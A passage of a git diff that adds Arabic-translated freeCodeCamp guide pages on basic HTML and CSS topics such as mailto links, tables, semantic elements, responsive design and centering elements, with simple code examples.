+يضيف نمط المحتوى نقطية جديدة بينما يعمل نمط العرض والعرض على إنشاء مسافة بين الرمز النقطي والكلمة. يمكن تطبيق أنماط الخطوط العادية هنا إذا كنت ترغب في جعل الرمز النقطي أكبر أو أكثر جرأة.
+
+## قوائم الوصف
+
+قائمة الوصف هي قائمة من المصطلحات ، مع وصف لكل مصطلح. يتم إجراء قائمة وصف باستخدام العلامة `<dl>` . يتكون كل عنصر في القائمة من علامتين: عبارة `<dt>` ، ووصف لهذا المصطلح `<dd>` . يطلق عليها قوائم تعريف في HTML 4.
+
+في ما يلي مثال لقائمة الوصف:
+
+ `<dl> 
+  <dt>Programming</dt> 
+  <dd>The process of writing computer programs.</dd> 
+  <dt>freeCodeCamp</dt> 
+  <dd>An awesome non-profit organization teaching people how to code.</dd> 
+ </dl> 
+` 
+
+والتي من شأنها أن تبدو وكأنها:
+
+برمجة
+
+عملية كتابة برامج الكمبيوتر.
+
+freeCodeCamp
+
+منظمة غير هادفة للربح رائعة تعليم الناس كيفية رمز.
+
+## معلومات اكثر:
+
+*   [قوائم HTML على w3schools](https://www.w3schools.com/html/html_lists.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/mailto-links/index.md b/client/src/guide/arabic/html/mailto-links/index.md
new file mode 100644
index 0000000000..549b3789cd
--- /dev/null
+++ b/client/src/guide/arabic/html/mailto-links/index.md
@@ -0,0 +1,53 @@
+---
+title: Mailto Links
+localeTitle: روابط Mailto
+---
+## روابط Mailto
+
+ارتباط mailto هو نوع من الارتباطات التشعبية ( `<a href=""></a>` ) مع معلمات خاصة تتيح لك تحديد مستلمين إضافيين و / أو سطر موضوع و / أو نص أساسي.
+
+### بناء الجملة الأساسي مع المستلم هو:
+
+ `
+<a href="mailto:friend@something.com">Some text</a> 
+` 
+
+### مزيد من التخصيص!
+
+#### إضافة موضوع لهذا البريد:
+
+إذا كنت ترغب في إضافة موضوع محدد لهذا البريد ، فكن حريصًا على إضافة `%20` أو `+` كل مكان هناك مسافة في سطر الموضوع. هناك طريقة سهلة للتأكد من تنسيقها بشكل صحيح وهي استخدام أداة [فك ترميز / ترميز عناوين URL](https://meyerweb.com/eric/tools/dencoder/) .
+
+#### إضافة نص أساسي:
+
+وبالمثل ، يمكنك إضافة رسالة محددة في جزء النص الأساسي للبريد الإلكتروني: مرة أخرى ، يجب استبدال المسافات بـ `%20` أو `+` . بعد الموضوع paramater ، يجب أن يسبق أي معلمة إضافية `&`
+
+مثال: لنفترض أنك تريد من المستخدمين إرسال بريد إلكتروني إلى أصدقائهم حول مدى تقدمهم في Free Code Camp:
+
+العنوان: فارغ
+
+الموضوع: أخبار رائعة
+
+Body: أكون مطورًا
+
+رابط html الآن:
+
+ `
+<a href="mailto:?subject=Great%20news&body=I%20am%20becoming%20a%20developer">Send mail!</a> 
+` 
+
+هنا ، تركنا mailto فارغة (mailto :؟). سيؤدي ذلك إلى فتح عميل البريد الإلكتروني للمستخدم وسيضيف المستخدم عنوان المستلم نفسه.
+
+#### إضافة المزيد من المستلمين:
+
+بنفس الطريقة ، يمكنك إضافة معلمات CC و bcc. فصل كل عنوان بفاصلة!
+
+يجب أن تسبق المعلمات الإضافية `&` .
+
+ `
+<a href="mailto:firstfriend@something.com?subject=Great%20news&cc=secondfriend@something.com,thirdfriend@something.com&bcc=fourthfriend@something.com">Send mail!</a> 
+` 
+
+#### معلومات اكثر:
+
+[MDN - روابط البريد الإلكتروني](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/optional-tags/index.md b/client/src/guide/arabic/html/optional-tags/index.md
new file mode 100644
index 0000000000..523aaa441d
--- /dev/null
+++ b/client/src/guide/arabic/html/optional-tags/index.md
@@ -0,0 +1,38 @@
+---
+title: Optional Tags
+localeTitle: علامات اختيارية
+---
+## علامات HTML5 الاختيارية
+
+في HTML5 ، يمكنك تجاهل بعض علامات الفتح والإغلاق تحت شروط معينة. على سبيل المثال ، كود HTML التالي ...
+
+ `
+<!DOCTYPE html> 
+ <p>Hello World. 
+` 
+
+سوف تقيم تلقائيا إلى ...
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head></head> 
+  <body> 
+    <p>Hello world. 
+    </p> 
+  </body> 
+ </html> 
+` 
+
+مواصفات العلامة الاختيارية لعلامات HTML5 الأكثر شيوعًا هي كالتالي:
+
+*   قد يتم حذف علامة بدء عنصر `html` إذا كان أول شيء داخل عنصر `html` ليس تعليقًا.
+*   قد يتم حذف علامة نهاية عنصر `html` إذا لم يتبع عنصر `html` مباشرة تعليق.
+*   قد يتم حذف علامة بدء عنصر `head` إذا كان العنصر فارغًا ، أو إذا كان العنصر الأول داخل عنصر `head` عنصرًا.
+*   قد يتم حذف علامة نهاية عنصر `head` إذا لم يتبع عنصر `head` مباشرة حرف مسافة أو تعليق.
+*   A `body` قد تكون أغفلت وسم بداية العنصر إذا كان العنصر فارغ، أو إذا كان أول شيء داخل `body` العنصر ليس حرف مسافة أو تعليق، إلا إذا كان أول شيء داخل `body` العنصر هو `meta` ، `link` ، `script` ، `style` ، أو عنصر `template` .
+*   A `body` يمكن حذف علامة النهاية العنصر إذا لم يتبع العنصر الأساسي على الفور تعليق.
+
+### معلومات اكثر
+
+لمعرفة المزيد حول علامات HTML5 الاختيارية ، يرجى زيارة ![توصيات World Wide Web Consortium](https://www.w3.org/TR/html5/syntax.html#optional-tags) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/page-structure/index.md b/client/src/guide/arabic/html/page-structure/index.md
new file mode 100644
index 0000000000..33071c18a2
--- /dev/null
+++ b/client/src/guide/arabic/html/page-structure/index.md
@@ -0,0 +1,38 @@
+---
+title: Page Structure
+localeTitle: هيكل الصفحة
+---
+## هيكل الصفحة
+
+لإنشاء صفحاتك في `HTML` ، تحتاج إلى معرفة كيفية تنظيم صفحة `HTML` ، حيث أن هيكلية الصفحة تتبع الترتيب التالي:
+
+ `<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Title of the Page</title> 
+  </head> 
+  <body> 
+    <!-- Content --> 
+  </body> 
+ </html> 
+` 
+
+1 - يجب أن تكون العبارة `<!DOCTYPE html>` دائما أول من يظهر على صفحة `HTML` وتخبر المتصفح بنسخة اللغة المستخدمة. في هذه الحالة ، نعمل باستخدام `HTML5` .
+
+2º - تخبر العلامات `<html>` و `</html>` متصفح الويب الذي تبدأ به شفرة `HTML` وينتهي بها.
+
+3º - تحتوي العلامات `<head>` و `</head>` على معلومات حول موقع الويب ، وهو مثال: style ، meta-tags ، scripts ، الخ ...
+
+4º - تخبر العلامات `<title>` و `</title>` المتصفح عن عنوان الصفحة. يمكن رؤية العنوان من خلال تحديد علامة التبويب في متصفح الإنترنت الخاص بك. النص الذي تم تعريفه بين هذه العلامات هو أيضًا النص المستخدم كعنوان بواسطة محركات البحث عندما يعرض الصفحات في نتائج البحث.
+
+5º - بين علامتي `<body>` و `</ body>` ، يتم وضع محتوى الصفحة ، وهو ما يتم عرضه في المتصفح.
+
+### التغييرات في HTML5
+
+#### مقدمة من العلامات الدلالية
+
+بدلاً من استخدام `<div>` لكل حاوية أخرى ، فهناك العديد من الدلالات الدلالية (تساعد هذه العلامات المحاكيات التي يتم استخدامها بشكل مرئي اختلال العلامات) مثل `<header>` `<footer>` . لذلك فمن المستحسن استخدام هذه العلامات بدلا من عام `<div>` .
+
+#### معلومات اكثر:
+
+[HTML: مقدمة](https://www.w3schools.com/html/html_intro.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/responsive-web-design/index.md b/client/src/guide/arabic/html/responsive-web-design/index.md
new file mode 100644
index 0000000000..b84f3c5d39
--- /dev/null
+++ b/client/src/guide/arabic/html/responsive-web-design/index.md
@@ -0,0 +1,53 @@
+---
+title: Responsive Web Design
+localeTitle: تصميم الويب سريع الاستجابة
+---
+## تصميم الويب سريع الاستجابة
+
+تصميم الويب السريع الاستجابة هو مفهوم تصميم صفحات الويب التي تتكيف مع أحجام الشاشة المختلفة. عادة ما يتضمن استخدام تخطيطات مختلفة وأحجام الخطوط وموضع قوائم التنقل.
+
+لإنشاء صفحة ويب متجاوبة ، يستخدم CSS عادةً في تصميم عناصر HTML الخاصة بك. بعض الطرق الشائعة في CSS المستخدمة لإنشاء تصميمات ويب متجاوبة هي:
+
+1.  كتابة [استعلامات الوسائط](https://guide.freecodecamp.org/css/media-queries)
+2.  استخدام [أطر CSS](https://guide.freecodecamp.org/css/css-frameworks) الموجودة مسبقًا
+3.  باستخدام [نموذج Flexbox](https://guide.freecodecamp.org/css/layout/flexbox)
+4.  باستخدام [CSS الشبكة](https://guide.freecodecamp.org/css/layout/grid-layout)
+
+### 1\. استعلامات الوسائط
+
+تخبر استعلامات الوسائط متصفح الويب بتجاهل أو استبدال خصائص صفحة الويب استنادًا إلى سمات معينة مثل عرض الشاشة أو ما إذا كان المستخدم يطبع.
+
+ `@media (query) { 
+  /* The browser will use the CSS rules within the curly braces when the query is true */ 
+ } 
+` 
+
+يقوم المثال التالي بتعيين `padding-left` و `padding-right` داخل الطبقة الداخلية `more-padding` عندما يكون عرض الشاشة أقل من أو يساوي 768 بكسل.
+
+ `@media screen and (max-width: 768px) { 
+    .more-padding { 
+        padding-left: 10px; 
+        padding-right: 10px; 
+    } 
+ } 
+` 
+
+### 2\. أطر CSS
+
+تشتمل أطر CSS مثل [Bootstrap](https://www.getbootstrap.com/) و [Material Design Lite](https://getmdl.io/) و [Foundation](https://foundation.zurb.com/) على طبقات CSS مضمنة مسبقًا تجعل ترميز التصميم سريع الاستجابة أكثر بساطة. تعمل هذه الفئات مثل فئات HTML القياسية.
+
+في هذا المثال ، يحدد `col-md-9` و `col-sm-6` عرض علامة `<div>` استنادًا إلى ما إذا كانت الشاشة صغيرة أم متوسطة.
+
+ `
+<div class="col-12 col-md-6"></div> 
+` 
+
+يقسم إطار Bootstrap الصف إلى اثني عشر عمودًا. في المثال أعلاه ، سوف ينتشر `<div>` عبر تسعة أو ستة منهم. يعد نظام الشبكة ، الموضح أدناه ، أمرًا أساسيًا في كيفية تسهيل Bootstrap للتصميم سريع الاستجابة.
+
+![Grid Example](https://www.javatpoint.com/bootstrappages/images/bootstrapgrid.jpg "مثال الشبكة الأساسية")
+
+### معلومات اكثر:
+
+1.  [CSS Flexbox أكمل البرنامج التعليمي في 8 دقائق](https://medium.freecodecamp.org/css-flexbox-interactive-tutorial-in-8-minutes-including-cheat-sheet-6214e00de3d2)
+2.  [قسم CSS من Freecodecamp](https://guide.freecodecamp.org/css) .
+3.  [البرنامج التعليمي CSS Flexbox بواسطة CodingTutorials360](https://www.youtube.com/watch?v=zBjUEDzK-ow)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/semantic-html-elements/index.md b/client/src/guide/arabic/html/semantic-html-elements/index.md
new file mode 100644
index 0000000000..072683268c
--- /dev/null
+++ b/client/src/guide/arabic/html/semantic-html-elements/index.md
@@ -0,0 +1,58 @@
+---
+title: Semantic HTML Elements
+localeTitle: عناصر HTML الدلالية
+---
+## عناصر HTML الدلالية
+
+يمثل العنصر `<em>` النص كما يتم التأكيد عليه أعلى النص حوله. عادةً ، يقوم المتصفح بعرض هذا _بخط مائل_ ، ولكن يمكنك إضافة أنماط أخرى باستخدام CSS.
+
+توفر عناصر HTML الدلالية معنى للمتصفحات ومطوري البرامج ومستخدمي الموقع. وعلى النقيض من عناصر مثل `<div>` أو `<span>` ، فإن العناصر الدلالية مثل `<header>` و `<footer>` تشرح بوضوح غرض كل قسم من موقع الويب.
+
+### لماذا استخدام عناصر الدلالي؟
+
+يستخدم المطورون عناصر دلالية لتعزيز ما يلي:
+
+*   إمكانية الوصول: مساعدة التقنيات المساعدة في قراءة وتفسير صفحة الويب الخاصة بك
+*   البحث: مساعدة أجهزة الكمبيوتر على فهم محتواك
+*   التدويل: 13٪ فقط من العالم هم من الناطقين باللغة الإنجليزية
+*   إمكانية التشغيل المتبادل: مساعدة المبرمجين الآخرين على فهم بنية صفحة الويب الخاصة بك 1
+
+### عناصر دلالية الدلالي مفيدة
+
+*   يحدد `<header>` رأس المستند أو القسم
+*   يعرّف `<footer>` تذييل للمستند أو مقطع
+*   `<nav>` يحدد ارتباطات التنقل في المستند
+*   يحدد `<main>` المحتوى الرئيسي للمستند
+*   يحدد `<section>` قسمًا في المستند - تحدده هذه المواصفة كـ "تجميع مواضيعي للمحتوى ، وعادةً ما يكون عنوانًا له" ، حتى يمكنك التفكير فيه على أنه مثل الفصل
+*   `<article>` يحدد مقالة في المستند
+*   يحدد `<aside>` المحتوى بخلاف محتوى الصفحة
+*   يحدد `<address>` معلومات الاتصال الخاصة بمؤلف / مالك مستند أو مقال
+*   يعرّف `<figure>` المحتوى المكتفي ذاتيًا ، مثل الرسوم التوضيحية والرسوم البيانية والصور ومجموعات الرموز وما إلى ذلك. 2
+
+### العناصر الدلالية الأقل شهرة
+
+*   `<bdi>` يحدد جزء من النص قد يتم تنسيقه في اتجاه مختلف عن النص الآخر (على سبيل المثال ، اقتباسًا بالعبرية أو العربية في مقالة إنجليزية بخلاف ذلك)
+*   يحدد `<details>` إضافية يمكن للأشخاص عرضها أو إخفاءها (مثل تلميح الأداة)
+*   `<dialog>` يحدد مربع حوار أو نافذة
+*   يعرّف `<figcaption>` التسمية التوضيحية لـ `<figure>`
+*   يعرّف `<mark>` النص المميز أو المميز
+*   يعرّف `<menuitem>` عنصر أمر / قائمة يمكن للمستخدم تحديده من قائمة منبثقة
+*   يحدد `<meter>` القياس القياسي ضمن نطاق معروف (مقياس)
+*   يعرّف `<progress>` تقدم المهمة
+*   `<rp>` يحدد ما يتم عرضه في المتصفحات التي لا تدعم التعليقات التوضيحية في روبي
+*   `<rt>` يحدد شرح / نطق الحروف (للطباعة الآسيوية الشرقية)
+*   `<ruby>` يعرّف تعليقًا روبيًا (للطباعة الآسيوية الشرقية)
+*   يعرّف `<summary>` عنوانًا مرئيًا لعنصر `<details>`
+*   `<time>` يحدد التاريخ / الوقت
+*   `<wbr>` يحدد احتمال كسر خط 2
+
+### مصادر
+
+1.  [لي ، ميشيل. "نظرة عامة على دلالات HTML5." _CodePen_ . 16 فبراير 2016. الوصول: 24 أكتوبر 2017](https://codepen.io/mi-lee/post/an-overview-of-html5-semantics)
+2.  [Bidaux ، فينسنت. "العناصر الدلالية HTML5 و Webflow: الدليل الأساسي." _Webflow_ . 16 ديسمبر 2016. تم الوصول إليها: 24 من تشرين الأول 2017](https://webflow.com/blog/html5-semantic-elements-and-webflow-the-essential-guide)
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات: https://codepen.io/mi-lee/post/an-overview-of-html5-semantics
+
+راجع [مقالة MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/symbols/index.md b/client/src/guide/arabic/html/symbols/index.md
new file mode 100644
index 0000000000..4755dee864
--- /dev/null
+++ b/client/src/guide/arabic/html/symbols/index.md
@@ -0,0 +1,16 @@
+---
+title: Symbols
+localeTitle: حرف
+---
+## حرف
+
+كيانات رمز HTML هي الأحرف غير الممثلة على لوحات المفاتيح الخاصة بالمستخدم. العديد من الرموز الرياضية والعلمية والعملات غير موجودة على لوحة المفاتيح العادية. لذلك ، لإضافة مثل هذه الرموز إلى صفحة باستخدام HTML ، يمكن استخدام اسم كيان HTML. من المهم ملاحظة أن هذه لن تؤثر على شفرة html نفسها ، وسيتم تفسيرها دائمًا كنص. على سبيل المثال ، إذا أردنا كتابة <div> كنص على صفحة ويب ، فقد نحتاج إلى استخدام كيانات الرموز هذه.
+
+في حالة عدم وجود اسم كيان ، فيمكن استخدام رقم الكيان أو مرجع سداسي عشري.
+
+![رموز HTML5 الشائعة](http://ways2web.weebly.com/uploads/5/4/4/8/54485903/8779038_orig.png)
+
+#### معلومات اكثر:
+
+*   ![مرجع المدارس W3](https://www.w3schools.com/html/html_symbols.asp)
+*   ![الرموز المرجعية الرسم البياني](https://dev.w3.org/html5/html-author/charref)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tables/index.md b/client/src/guide/arabic/html/tables/index.md
new file mode 100644
index 0000000000..d43d5b12b5
--- /dev/null
+++ b/client/src/guide/arabic/html/tables/index.md
@@ -0,0 +1,99 @@
+---
+title: Tables
+localeTitle: الجداول
+---
+### تحديد جدول HTML
+
+يتم تعريف جدول HTML مع العلامة.
+
+يتم تعريف كل صف الجدول بـ
+
+العلامة. داخل الصف قد تكون هناك رؤوس جدول أو بيانات جدول.
+
+*   يتم تعريف رأس الجدول مع
+
+العلامة. بشكل افتراضي ، تكون عناوين الجدول غامقة ويتم توسيطها.*   يتم تعريف بيانات الجدول / الخلية مع
+
+العلامة.
+
+قد يتضمن جدول HTML أكثر تعقيدًا أيضًا عناصر `<caption>` و `<col>` و `<colgroup>` و `<thead>` و `<tfoot>` و `<tbody>` في ذلك.
+
+### مثال بسيط على الجدول
+
+ `
+<table style="width:100%"> 
+  <tr> 
+    <th>Firstname</th> 
+    <th>Lastname</th> 
+    <th>Age</th> 
+  </tr> 
+  <tr> 
+    <td>Jill</td> 
+    <td>Smith</td> 
+    <td>50</td> 
+  </tr> 
+  <tr> 
+    <td>Eve</td> 
+    <td>Jackson</td> 
+    <td>94</td> 
+  </tr> 
+ </table> 
+` 
+
+[DEMO](https://www.w3schools.com/html/tryit.asp?filename=tryhtml_table)
+
+### مثال الجدول مع مزيد من المعلومات الدلالية
+
+ `
+<!DOCTYPE html> 
+    <html> 
+    <body> 
+       <table> 
+      <thead> 
+        <tr> 
+          <th>Item</th> 
+          <th>Amount</th> 
+        </tr> 
+      </thead> 
+      <tfoot> 
+        <tr> 
+          <td>Apple</td> 
+          <td>10</td> 
+        </tr> 
+      </tfoot> 
+      <tbody> 
+        <tr> 
+          <td>Peach</td> 
+          <td>15</td> 
+        </tr> 
+        <tr> 
+          <td>Watermelon</td> 
+          <td>3</td> 
+        </tr> 
+      </tbody> 
+    </table> 
+    </body> 
+   </html> 
+` 
+
+نتيجة:
+
+بند
+
+كمية
+
+تفاحة
+
+10
+
+خوخ
+
+15
+
+البطيخ
+
+3
+
+#### معلومات اكثر:
+
+[المادة MDN على HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table) [بطاقة](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/basic-html/index.md b/client/src/guide/arabic/html/tutorials/basic-html/index.md
new file mode 100644
index 0000000000..93362289d8
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/basic-html/index.md
@@ -0,0 +1,26 @@
+---
+title: Basic HTML
+localeTitle: HTML الأساسي
+---
+## HTML الأساسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/tutorials/basic-html/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+بنية ملف HTML أساسي:
+
+ `
+<!doctype html> 
+ <html> 
+ 
+  <head> 
+    <title></title> 
+  </head> 
+ 
+  <body> 
+  </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/basic-html/radio-button/index.md b/client/src/guide/arabic/html/tutorials/basic-html/radio-button/index.md
new file mode 100644
index 0000000000..f2ff9c9597
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/basic-html/radio-button/index.md
@@ -0,0 +1,23 @@
+---
+title: Radio Button
+localeTitle: زر الراديو
+---
+# زر الراديو
+
+ `
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <form action="/action_page.php"> 
+  <input type="radio" name="gender" value="male"> Male<br> 
+  <input type="radio" name="gender" value="female"> Female<br> 
+  <input type="radio" name="gender" value="other"> Other<br> 
+  <input type="submit" value="Submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+` 
+
+يمكن استخدام أزرار الاختيار لتحديد خيار واحد من الخيارات المتعددة. لا يُسمح لك باختيار زرَي تشفير أو أكثر في حقل التحديد نفسه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/center-an-image-using-text-align-center/index.md b/client/src/guide/arabic/html/tutorials/center-an-image-using-text-align-center/index.md
new file mode 100644
index 0000000000..01b9837e05
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/center-an-image-using-text-align-center/index.md
@@ -0,0 +1,60 @@
+---
+title: Center an Image Using Text Align Center
+localeTitle: توسيط صورة باستخدام Text Align Center
+---
+## توسيط صورة باستخدام Text Align Center
+
+عنصر `<img>` هو عنصر مضمّن (قيمة العرض من `inline-block` ). يمكن توسيطه بسهولة عن طريق إضافة `text-align: center;` خاصية CSS للعنصر الرئيسي يحتوي عليها.
+
+لتوسيط صورة باستخدام `text-align: center;` يجب وضع `<img>` داخل عنصر مستوى الكتلة مثل `div` . نظرًا لأن خاصية `text-align` تنطبق فقط على عناصر مستوى الكتلة ، فأنت تضع `text-align: center;` على عنصر كتلة مستوى الالتفاف لتحقيق `<img>` مركزًا أفقيًا.
+
+### مثال
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Center an Image using text align center</title> 
+    <style> 
+      .img-container { 
+        text-align: center; 
+      } 
+    </style> 
+  </head> 
+  <body> 
+    <div class="img-container"> <!-- Block parent element --> 
+      <img src="user.png" alt="John Doe"> 
+    </div> 
+  </body> 
+ </html> 
+` 
+
+**ملاحظة:** يجب أن يكون العنصر الرئيسي عنصر كتلة. إذا لم يكن عنصر كتلة ، يجب عليك إضافة `display: block;` خاصية CSS مع خاصية `text-align` .
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Center an Image using text align center</title> 
+    <style> 
+      .img-container { 
+        text-align: center; 
+        display: block; 
+      } 
+    </style> 
+  </head> 
+  <body> 
+    <span class="img-container"> <!-- Inline parent element --> 
+      <img src="user.png" alt=""> 
+    </span> 
+  </body> 
+ </html> 
+` 
+
+**العرض التوضيحي:** [Codepen](https://codepen.io/aravindio/pen/PJMXbp)
+
+## كابل بيانات
+
+[**محاذاة النص** - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+
+[**\\ ** - MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/embedding-youtube-videos/index.md b/client/src/guide/arabic/html/tutorials/embedding-youtube-videos/index.md
new file mode 100644
index 0000000000..11e7fbf4ed
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/embedding-youtube-videos/index.md
@@ -0,0 +1,37 @@
+---
+title: Embedding Youtube Videos
+localeTitle: تضمين مقاطع الفيديو على Youtube
+---
+## تضمين مقاطع الفيديو على Youtube
+
+ربما كنت قد شاهدت العديد من المرات على مواقع الويب المفضلة لديك. سنتحدث اليوم عن تضمين مقاطع فيديو YouTube ، ما هو سهل جدًا ، حتى إذا لم يكن لديك أي معلومات عن ذلك. لهذا الإجراء ، سنستخدم عنصر `<frame>` ، وهو أمر مفيد للغاية في تضمين ملفات HTML أخرى. كثيرا ما يستخدم لترويج بعض المنتجات كما يضيف. لاحظ أنك لست مقيدًا فقط بـ YouTube - يمكنك أيضًا تجربة المستندات الأخرى.
+
+### `<frame>` العنصر
+
+#### عن طريق
+
+يمكنك بسهولة وضع الفيديو الذي اخترته باستخدام عنصر `<frame>` . ولكن تذكر أنك تحتاج أيضًا إلى تحديد ارتفاع وعرض المشغل ، لذلك سوف نستخدم سمات `height` `width` .
+
+ماذا سنحتاج؟
+
+*   الفيديو على موقع يوتيوب و URL
+*   عنصر `<frame>` (لا تنسى إغلاقه!)
+*   سمات `width` `height`
+
+ `
+<iframe width="420" height="315" 
+ src="https://www.youtube.com/watch?v=v8kFT4I31es"> 
+ </iframe> 
+` 
+
+يتم إدراج القيم المدرجة ، ولكن لا تتردد في تغييرها بالطريقة التي تريدها.
+
+#### تشغيل تلقائي
+
+ماذا يجب أن نفعل إذا كنا نرغب في جعل هذا اللاعب يبدأ اللعب تلقائيًا؟ ما عليك سوى الإضافة إلى قيمة الرابط `?autoplay=1` . ولكن كن حذرًا ، فقد يكون الأمر مزعجًا بالنسبة إلى الكثير من الأشخاص الذين يزورون صفحتك على الويب.
+
+ `
+<iframe width="420" height="315" 
+ src="https://www.youtube.com/watch?v=v8kFT4I31es?autoplay=1"> 
+ </iframe> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md b/client/src/guide/arabic/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md
new file mode 100644
index 0000000000..a044616a9a
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md
@@ -0,0 +1,36 @@
+---
+title: How to Create an HTML Button That Acts Like a Link
+localeTitle: كيفية إنشاء زر HTML التي تعمل مثل الارتباط
+---
+## كيفية إنشاء زر HTML التي تعمل مثل الارتباط
+
+في بعض الأحيان قد ترغب في استخدام زر لربط صفحة أخرى أو موقع ويب بدلاً من إرسال نموذج أو شيء من هذا القبيل. هذا أمر بسيط إلى حد ما ويمكن تحقيقه بعدة طرق.
+
+إحدى الطرق هي ببساطة لف علامة `<button>` في علامة `<a>` :
+
+ `
+<a href='https://www.freecodecamp.org/'><button>Link To freeCodeCamp</button></a> 
+` 
+
+يؤدي هذا إلى تحويل الزر بالكامل إلى رابط.
+
+الخيار الثاني هو إنشاء الرابط الخاص بك كما تفعل عادةً مع العلامة `<a>` ثم إعداده عبر CSS:
+
+ `
+<a href='https://www.freecodecamp.org/'>Link To freeCodeCamp</a> 
+` 
+
+بمجرد إنشاء الرابط ، يمكنك استخدام CSS لجعله يبدو وكأنه زر. على سبيل المثال ، يمكنك إضافة حد ولون خلفية وبعض الأنماط عندما يحوم المستخدم في الرابط ...
+
+هناك طريقة أخرى لإضافة زر وهي التفاف `input` داخل علامات `form` . حدد عنوان URL الهدف المطلوب في سمة إجراء النموذج.
+
+ `
+<form action="http://google.com"> 
+    <input type="submit" value="Go to Google" /> 
+ </form> 
+` 
+
+#### معلومات اكثر:
+
+*   [دليل FreeCodeCamp - أزرار التصميم](https://guide.freecodecamp.org/css/css-buttons/)
+*   [كيف يمكنك إنشاء زر HTML يعمل كأنه رابط؟](https://stackoverflow.com/questions/2906582/how-to-create-an-html-button-that-acts-like-a-link)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md b/client/src/guide/arabic/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md
new file mode 100644
index 0000000000..b08640527b
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md
@@ -0,0 +1,64 @@
+---
+title: How to Horizontally Center a Div Tag in Another Div Tag
+localeTitle: كيفية توسيط علامة Div في علامة Div أخرى
+---
+## كيفية توسيط علامة Div في علامة Div أخرى
+
+التركيز الأفقي لـ `<div>` داخل `<div>` سهل للغاية.
+
+لنبدأ بإنشاء علامتين div مع فئتي "parent" و "child". سيكون الوالد الحاوية لدينا ، وسيكون الطفل هو `<div>` الذي نركز عليه أفقيًا.
+
+ `
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>How to Horizontally Center a Div Tag in Another Div Tag</title> 
+ </head> 
+ <body> 
+  <div class="parent"> 
+    <div class="child"> 
+      <p>This is the center.</p> 
+    </div> 
+  </div> 
+ </body> 
+ </html> 
+` 
+
+هناك عدة طرق يمكنك من خلالها معالجة هذا الأمر ، ولكن دعنا نركز على هذا البرنامج التعليمي على اثنين. سنقوم في `flexbox` باستخدام `<div>` باستخدام `margin` وفي الثانية سنستخدم `flexbox` .
+
+### مثال على توسيط علامة Div ذات هوامش
+
+إذا قمت بتحديد `width` على div div ، يمكنك استخدام `margin: auto` . سيؤدي هذا إلى توسيط طفلك `<div>` عن طريق توزيع هوامش اليسار واليمين بالتساوي.
+
+ `.parent { 
+  border: 2px solid red; 
+ } 
+ 
+ .centered-child { 
+  width: 50%; 
+  margin: auto; 
+  border: 1px solid black; 
+ } 
+` 
+
+### مثال على توسيط علامة Div مع Flexbox
+
+استخدام flexbox في الوسط `<div>` مختلف قليلاً. أولاً ، لا يتطلب منك تحديد `width` على طفلك `<div>` . ثانيًا ، تقوم بتوسيط الطفل `<div>` عن طريق تطبيق خصائص css على الأصل `<div>` .
+
+لتوسيط طفل `<div>` باستخدام flexbox ، يلزمك استخدام `display: flex` مع `justify-content: center` الضبط `justify-content: center` على الأصل `<div>` .
+
+ `.parent { 
+  display: flex; 
+  justify-content: center; 
+  border: 2px solid red; 
+ } 
+ 
+ .centered-child { 
+  border: 1px solid black; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+[مصفوفة دعم Flexbox](http://caniuse.com/#search=flexbox)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md b/client/src/guide/arabic/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md
new file mode 100644
index 0000000000..fc56041221
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md
@@ -0,0 +1,39 @@
+---
+title: How to Insert Spaces or Tabs in Text Using HTML and CSS
+localeTitle: كيفية إدراج المسافات أو علامات التبويب في النص باستخدام HTML و CSS
+---
